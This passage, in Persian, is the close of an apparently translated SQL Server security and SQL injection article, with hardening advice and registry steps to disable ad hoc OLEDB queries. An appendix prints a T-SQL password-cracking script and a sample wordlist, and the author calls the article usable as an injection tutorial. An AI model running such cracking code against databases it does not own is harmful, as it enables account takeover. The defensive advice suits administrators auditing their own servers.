۳. اطمینان حاصل کنید که تمامی اکانت ها، رمزهای عبور قوی داشته باشند. می توانید برای امتحان کردن پسوردها از نظر قوی بـودن از Password Auditing Script ها استفاده کنید (علیه سرور در یک نظم معمولی – Regular Basis)!

الف)-بسیاری از Extended Stored Procedure ها می توانند بدون هیچ خطری حذف شوند. اگر این کار انجام شـده باشـد، همچنین باید به پاک کردن dll. هایی بپردازید که حاوی کدهای این Extended Stored Procedure ها، هستند.

ب)-تمامی بانک های اطلاعاتی (DB) نمونه و مثال که به صورت پیش فرض در برنامه ارائه شـدند را پـاک کنیـد – بـرای مثـال northwind و pubs.

۴. بررسی کنید که هر اکانت به چه موضوعات و object هایی می تواند دسترسی داشته باشد.

الف)-اکانتی که یک application برای دستیابی به بانک اطلاعاتی استفاده می کند، بایـد لـــــزوما کـــــــــمترین اجـــــازه (Minimum Permission) دستیابی را برای object هایی که مورد نیازش هستند، داشته باشد.

۵.سطح patch مربوط به سرور را بازبینی کنید.

الف)-چندین حمله (در آینده در این مورد نیز بحث خواهیم کرد)، علیه سرور از نـوع BufferOverFlow و Format String و همچنین چندین مشکل امنیتی نیز در خود patch ها، وجود دارد. پس همیشه باید server از نظر patch به روز نگه داشته شود.

۶. بررسی کنید که چه چیزهایی log برداری می شوند و با آنها چه می شود.

یک checklist نسبتا خوب در www.sqlsecurity.com به آدرس زیر وجود دارد:

http://www.sqlsecurity.com/checklist.asp

توصیه ها

مهم ترین توصیه آن است که شما اطمینان حاصل کنید که هیچ گونه آسیب پذیری SQL Injection ندارید. این مهمترین توصیه است، چرا که حتی اگر شما تمامی مشکلات ذکر شده در این مقاله را شناسایی کرده و در جهت رفع آن اقدام کنید، مشکلات جدید روز به روز در حال ایجاد هستند. برای جلوگیری از SQL Injection، خوب است که از گزارش های پارامتری شده (Parameterized) استفاده کنید و تمامی ورودی های کاربران را در صورتی که کاراکترهای غیر alphanumeric (Non-Alphanumeric) وارد شد، فیلتر کنید.

سیستماتیک ترین و اصولی ترین روش برای اقدام آن است که استانداردهای رمزگذاری و برنامه نویسی که احتیاج به انجام این مورد دارد را اعمال و set کنید. اگر کد در حال حاضر نوشته شده است، یک بازدید از کد می تواند برای تشخیص هر گونه آسیب پذیری مفید باشد. همچنین توصیه می شود که شما به بعضی از ابزارهای اتوماتیک نیز نگاه کنید که در حال حاضر برای تشخیص این نوع از مشکلات تهیه و ارائه شده اند. حتی اگر شما احساس می کنید که تمامی آسیب پذیری های شناخته شده را فیلتر کردید، هنوز بهترین بهره آن است که این حملات مخصوص را به وسیله غیر فعال کردن بعضی از تابعیت (functionality) های SQL Server، جلوگیری کنیم. در صورتی که واقعا از تابعیت های SQL Server استفاده می کنید، این کار کاربردی و عملی نخواهد بود. خوشبختانه، تابعیت و functionality که ما سعی در غیرفعال کردن آن هستیم، اغلب استفاده نمی شود. شما باید گزارش های ad hoc را در گذر میان OLEDB از SQL Server غیر فعال کنید. گزارش های Ad Hoc از SQL Server از داخل OLEDB Provider به وسیله تعریف کردن DisallowAdhocAccess در رجیستری کنترل می شوند. اگر از یک مورد نامگذاری شده استفاده می کنید (تنها Microsoft SQL Server 2000)، مقدار DisallowAdhocAccess را در زیر هر subkey در registry key زیر به 1 تغییر دهید:

HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\[Instancename]\Providers.

اگر از یک مورد پیش فرض استفاده می کنید، مقدار مربوط به DisallowAdhocAccess را در زیر هر subkey از registery key زیر به 1 تغییر دهید:

HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers.

با دنبال مراحل زیر، مقدار و value را تنظیم و set کنید:

۱)-برنامه Registry Editor را باز کنید (regedit.exe).

۲)-Registry Key لیست شده در بالا را پیدا کنید.

۳)-اولین provider subkey را انتخاب کنید (First Provider Subkey).

۴)-گزینه روبرو را از منو انتخاب کنید: Edit\New\DWORD Value

۵)-نام DWORD Value را به DisallowAdhocAccess تغییر دهید.

۶)-بعد از تغییر نام روی آن دابل-کلیک کرده و مقدار آنرا به 1 تغییر دهید.

۷)-برای هر provider این جریان را تکرار کنید.

اگر مقداری بیشتر دقیق باشید می توانید registry key را به read-only بودن تنظیم و set کنید و اطمینان بیشتری حاصل کنید از اینکه دیگر آنها نمی توانند edit شوند. همچنین بسیار مهم است که همراه با آخرین Security Fix ها باشید و آنرا به سرعت

بر روی سیستم اعمال کنید. به عنوان آخرین پیش گیری و احتیاط، فیلترهای دیوارآتش را برای بلاک کردن ترافیک هـای غیرضـروری outbound **پیکربندی و تست کنید. این کار نه تنها باعث می شود که بانک های اطلاعاتی شـما بیشـتر امـن شـوند بلکـه باعـــــث مـی شوند کل شبکه شما امن و** Secure **گردد.**

بخش ۱۰: ضمائم و پیوست ها

ضمیمه ۱ – SQL Crack

اسکریپتی که برای SQL Password Cracking تهیه شده (توسط author)، برای کارکرد صحیح احتیاج به ستون password در master..sysxlogins دارد و کم و بیش توسط نفوذگران استفاده می شود. اما، یک ابزار فوق العاده مفید برای مدیران بانک های اطلاعاتی می باشد که به دنبال بهبود بخشیدن کیفیت رمزهای عبور برای بانک اطلاعاتی در حال استفاده، هستند.

برای استفاده از اسکریپت، مسیر رمزعبور را با C:\Temp\Passwords.txt با bulk insert عوض کنید. PassFile ها می توانند از مکان های زیادی در اینترنت به دست آیند. بنابراین ما یک password list کامل و مرجع اینجا تهیه نمی بینیم اما در زیر یک مثال کوچک را می بینیم (فایل باید در غالب MS-DOS TEXT FILE در حالی که کاراکترهای <CR><LF> را نیز در خط آخر دارند، ذخیره شود). اسکریپت همچنین می تواند اکانت های یکجور یا به اصطلاح Joe را پیدا کند. در حقیقت اکانت های Joe، اکانت هایی هستند که یوزرنیم و پسورد یکسان دارند و یا پسورد آنها Blank می باشد.

password
administrator
modeadmin
admin123
sqlserver
sql
admin
sesame
sa
guest
…

در زیر اسکریپت توضیح داده شده در فوق را می بینید (sqlcrack.sql):

```
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords
```

ضمیمه ۲- پایان

این مقاله به منظور رفع مشکلات ممکنه حول مبحث SQL Injection، تهیه و ارائه گردیده است. می توان از مقاله مذکور به عنوان یک Tutorial جهت انجام عملیات SQL Injection استفاده کرد. هر چند مباحثی ناگفته در این میان وجود دارد ولی سعی شده که به نحو احسن مطالب پرداخت شوند تا به راحتی توسط خواننده هضم و جذب شوند. لذا خواهشمند است برای تکمیل این مقاله مطلب مورد نظر خود را خاطر نشان کنید تا در نسخ بعد به آنها نیز رسیدگی گردد و در مجموعه ی این مقاله قرار داده شود.

با تشکر از تمامی عزیزانی که منت گماردند و در این مجموعه ی حقیر، نظر افکندند.

Now, I want to say: Does anybody ELSE see a small discrepancy here (with this presentation)?

Written by: Dangerous Wolf (dangerous_wolf)
E-Mail: sarve_paidar@yahoo.com – ferilol@yahoo.com

Wolf in the night is more beautiful & more dangerous. So look your back to know Is there any wolf there? If yes, now you're in the Cradle of Fear!!

www.crouz.com

\\/\\/}{47 |)0 y0|_| 7}{1/\\/|< /-\80|_|7 /-\ |)/4//\\/63r0|_|z \\/\\/0|_f? (j|_|z7 |_0\3 :D)